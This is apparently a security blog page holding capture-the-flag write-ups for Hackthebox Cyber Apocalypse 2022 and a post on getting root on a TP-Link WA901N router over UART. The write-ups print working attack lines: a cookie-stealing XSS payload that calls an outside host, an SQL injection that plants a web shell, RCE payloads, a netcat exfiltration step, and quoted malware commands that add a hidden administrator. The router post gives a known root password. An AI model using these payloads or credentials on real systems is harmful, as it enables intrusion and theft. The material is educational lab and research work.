This script was requesting a DNS TXT to a server with the IP 147.182.172.189. Using the wireshack filter dns && ip.dst == 147.182.172.189 I started following some of the requests until I found an interesting one

I then went to the windows VM and edited the initial script so i could run this base64 strings and decrypt its content (only the edited part)

$key = "a1E4MUtycWswTmtrMHdqdg=="
# $out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
$out = @("Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=", "hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=", "58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=", "eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru", "BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=", "vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=", "A@M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh")
$result = ""
for ($num = 0 ; $num -le $out.Length-2; $num++){
# $encryptedString = $out[$num].Strings[0]
$encryptedString = $out[$num]
$backToPlainText = Decrypt-String $key $encryptedString
# $output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
$result = $result + $backToPlainText
# Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
# for ($ans = 0; $ans -lt $pr.length-1; $ans++){
# $domain = -join($pr[$ans],".windowsliveupdater.com")
# Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
$result

the result was a list of commands that were run…

hostname
whoami
ipconfig
wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value
net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr
netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389

Base64 decode the password got me the first part of the flag

Looking at the rest of the script I saw that it was encrypting each command response and parsing it into hex and storing it in an array. It was then making a DNS request with each hex from the total array of responses as a “subdomain”

I went back to wireshark and filtered for DNS once again and saved the filtered pcap. Than with strings command I did strings -n8 test.pcap revealing all hex

I used python to parse this and eliminate duplicates and output a base64 encode.

import base64

unique_lines = []
with open("dup_hex", "r") as f:
lines = f.readlines()
lines = [line.rstrip() for line in lines]

for line in lines:
   if line not in unique_lines:
      unique_lines.append(line)

  
result=""
for line in unique_lines:
   tmp = base64.b64encode(line.encode("ascii"))
   result += "\"" + str(tmp, "ascii") + "\", " 
print(result)

The result was a list of base64 that I used in the windows VM once again

The output gave me the 2nd part of the flag!

This 2nd part was a bit messed up but it was easy to rebuild by hand… putting it all toghether i got the flag.

FLAG: HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}

Crypto

Android-in-the-middle

Downloaded the python file and started analyzing it. It was useing Diffie Helman to calculate a shared key in order to decrypt a user input and match it to the string “Initialization Sequence - Code 0”

The script asked for the public key in memory and use that key to calculate the shared key… well if we just used “1” as the key, the shared key will be 1!

Tested it in debug mode and confirm it!

Coded an exploit to encrypt the string the application needed.

from Crypto.Cipher import AES
import hashlib
import binascii

  
def encrypt(encrypted, shared_secret):
   key = hashlib.md5(long_to_bytes(shared_secret)).digest()
   cipher = AES.new(key, AES.MODE_ECB)
   message = cipher.encrypt(str.encode(encrypted))
   return message

sequence = "Initialization Sequence - Code 0"
p = 0x509efab16c5e2772fa00fc180766b6e62c09bdbd65637793c70b6094f6a7bb8189172685d2bddf87564fe2a6bc596ce28867fd7bbc300fd241b8e3348df6a0b076a0b438824517e0a87c38946fa69511f4201505fca11bc08f257e7a4bb009b4f16b34b3c15ec63c55a9dac306f4daa6f4e8b31ae700eba47766d0d907e2b9633a957f19398151111a879563cbe719ddb4a4078dd4ba42ebbf15203d75a4ed3dcd126cb86937222d2ee8bddc973df44435f3f9335f062b7b68c3da300e88bf1013847af1203402a3147b6f7ddab422d29d56fc7dcb8ad7297b04ccc52f7bc5fdd90bf9e36d01902e0e16aa4c387294c1605c6859b40dad12ae28fdfd3250a2e9

shared_secret = 1
encrypted_sequence = binascii.hexlify(encrypt(sequence, shared_secret))
print(encrypted_sequence)

The output was - 7fd4794e77290bf65808e95467f284966d71995c16e83da2192aecfd2d0df7a4 Starting the instance and connecting with nc i got the flag

Web

Kryptos Support

The web interface shows that an admin will review our ticket:

We upload a XSS payload so we can capture the session cookie in a bin request created in pipedream.net

<script>new Image().src="https://eohfbhjjastzji5.m.pipedream.net?c="+document.cookie;</script>

And we receive the user session cookie

Setting the cookie on the browser and we gain access the tickets endpoint “/tickets”, where it was possible to change the moderator password. Capturing this request, it is possible to see that it sends the new password and a UID of the user.

Changing this UID to 1, we change the Admin password instead!

Logging in as Admin user got us the flag!

Intergalactic post

Analyzing the code for the email subscription we can see that everytime we submit an email to the application, the server registers it into a SQLite3 database:

As we can see when receiving a new email, the web server fetches the X-Forward-For and adds it to the SQL insert query. We can intercept this parameter and inject an SQL query that will give us Remote Code Execution:

**', '');** -> it is used to escape the insert query.

Since the Sqlite3 allows for the concattenation of commands using “;” we can then create a database and dump a web shell to the web server by issuing the following commands:

ATTACH DATABASE '/www/test1.php' AS exploit;CREATE TABLE exploit.pwn (dataz text);INSERT INTO exploit.pwn (dataz) VALUES ("");--

The final query is:

X-Forwarded-For: ', '');ATTACH DATABASE '/www/test1.php' AS exploit;CREATE TABLE exploit.pwn (dataz text);INSERT INTO exploit.pwn (dataz) VALUES ("");--

After that, we can get the flag name by listing the www directory:

And finally get the flag

Blinker fluid

After analyzing the application, from the package.json it was clear that it was vulnerable to CVE-2021–23639, a vulnerability resides in the md-to-pdf that allows remote code execution.

Using the payload

---js
((require("child_process")).execSync("cat /flag.txt > /app/static/invoices/flag.txt"))
---RCE

accessing static/invoices/flag.txt and we got the flag

Amidst us

Looking at the application we can upload an image and interact with colors:

From the request.txt file we see that it is using Pillow 8.4.0, which is vulnerable to: CVE-2022-22817 that allowes an attacker to execute arbitrary code on the ImageMath.eval() function. Looking at the code, we see that we can inject commands onto this function by interacting with color array (prints are only for debug purposes):

By sending a single exec() onto the application we get the following message

Which indicates that the application is trying to execute the function exec(). By sending a more complex payload like - exec(import os;os.system(‘id’)) we realize that it is not possible to send quoted strings to the function.

To bypass this, we created a simple exploit that given a specific string payload converts it into chr function

Sending the payload and we obtain code execution:

The application crashes but the code was executed. To get the flag we checked that nc was on the machine and so we used it to send the flag file to a machine that we had exposed to the internet.

Generate the payload and send it over Burp and get the flag:

TP-Link WA901N - Journey to serial access

2022-05-11T00:00:00-07:00

This post contains detailed information about a security research that i have been conducting on a TP-Link WA901N router. All information is for education purpose only. I shared this post so that anyone interested in testing this device does not need to waste time getting access to its internal system.

WARNING: Keep in mind that some operations may permanently damage your device if not performed correctly. Proceed at your own risk!

Intro

I recently got access to a TP-Link WA901N which I intend to use for a side project, but before that and since I am relatively new to hardware hacking, I thought it would be interesting to try to gain access to its internal system and documenting the journey so I could share it with anyone interested in testing this device.

Getting shell access

After opening up the device I started inspecting the PCB looking for exposed interfaces that I could use as an entry point to the router internal system and I found 4 pin through holes that could possibly be a UART interface.

With the router turned off and using a multimeter’s continuity test function, I tested all pins through holes against a known ground (I just used the router CPU metal cover… it worked). Only one made my multimeter beeped so that was GND. With the router turned on I confirmed that all the other through holes had voltage and decided to solder 4 pin headers to the PCB.

Using a USB to TTL module I connected to GND and then, with the router turned on, I connected the RX to each of the other pins until I found the one that printed boot information. There are other methods to find the correct pin layout, like using the multimeter or a logic analyzer, but in this case since there are only 3 possible pins it is easier and quicker this way.

So the correct pin layout is:

The command I used to connect was sudo picocom -b 115200 /dev/ttyUSB0 (note the baud rate for this router is 115200)

Once the boot process finished, I got a login prompt requesting a username and password. I tried several default and common login credentials, but no luck so I decided to move on in order to try to find something else that would help me get into the system.

Getting the firmware

During the initial PCB inspection, I also found an SPI flash memory near the UART through holes. These chips, specifically the ones near the UART interface, usually contain the device filesystem.

The quickest way to test this was to use a CH341A programmer with a test clip to try to dump the memory content.

I connected the test clip to the SPI memory - keep in mind that all pins must be aligned, which is easily achieved by matching the pin 1 on the SPI memory (marked with a dot) with the pin 1 in the test clip (red wire)

With everything set, I ran the following command sudo flashrom --programmer ch341a_spi -r firmware.bin to extract the memory contents into a file called firmware.bin

Analyzing the file with binwalk I got confirmation that this was really the router filesystem

Once again using binwalk with the flag “-e” to extract its contents gave me access to the filesystem which I immediately started exploring, searching for useful information.

Since login credentials were my main goal, one the first files I looked for was the shadow file that is located in the /etc directory since it contains the users encrypted password. There was only one user (root) and the password was in MD5crypt

root:$1$GTN.gpri$DlSyKvZKMR9A9Uj9e9wR3/:15502:0:99999:7:::

The next step was to try to crack the root password, so I used hashcat to perform a dictionary attack using several known lists from SecList

After multiple failed attempts, I decided to brute force it, and while the attack was running I did a quick google search for that encrypted password and found several results! Apparently this is an old known password used by TP-Link (at least since 2013) but for some reason it is not in any common password dictionary (like SecList).

Anyway, the credentials are root:sohoadmin.

Now that I got the root password I could go back to the UART shell and try to login… and it worked!

Next steps

Taking advantage of this root access, I will keep on digging in order to figure out if there is any vulnerability with this device and if anything comes up I will update this post.

Sn0ox

COMFAST CF-WR610N Wireless Router Multiple Vulnerabilities

Intro

History

Physical Recon

Shell from backups

CVE-2022-45724 Broken authentication framework

CVE-2022-45725 Improper Input Validation leading to RCE

Unauthenticated exploit

Multiple XSS

HSQL to shell access

Exploitation

[CTF-Writeup] Hackthebox Business CTF 2022

Reverse

Breakout

ChromeMiner

Forensics

Lina’s Invitation

Perseverance

MBCoin

TP-Link WA901N Vulnerability - Brute force management interface password via SSH service

Intro

History

Vulnerability

Patch notes

[CTF-Writeup] SEETF 2022

PWN

4mats

wayyang

Reverse

babyreeee

Crypto

Close Enough

Forensics

Sniffed Traffic

Misc

Regex101

Angry Zeyu2001

SmartContract

Bonjour

WEB

Sourceless Guessy Web

[CTF-Writeup] Hackthebox Cyber Apocalypse 2022

Reverse

WIDE

Omega-One

Rebuild

Snakecode

Without a trace

Teleport

PWN

Entry point

Going deeper

Forensics

Puppeter

Golden persistence

Automation

Crypto

Android-in-the-middle

Web

Kryptos Support

Intergalactic post

Blinker fluid

Amidst us

TP-Link WA901N - Journey to serial access

Intro

Getting shell access

Getting the firmware

Root login

Next steps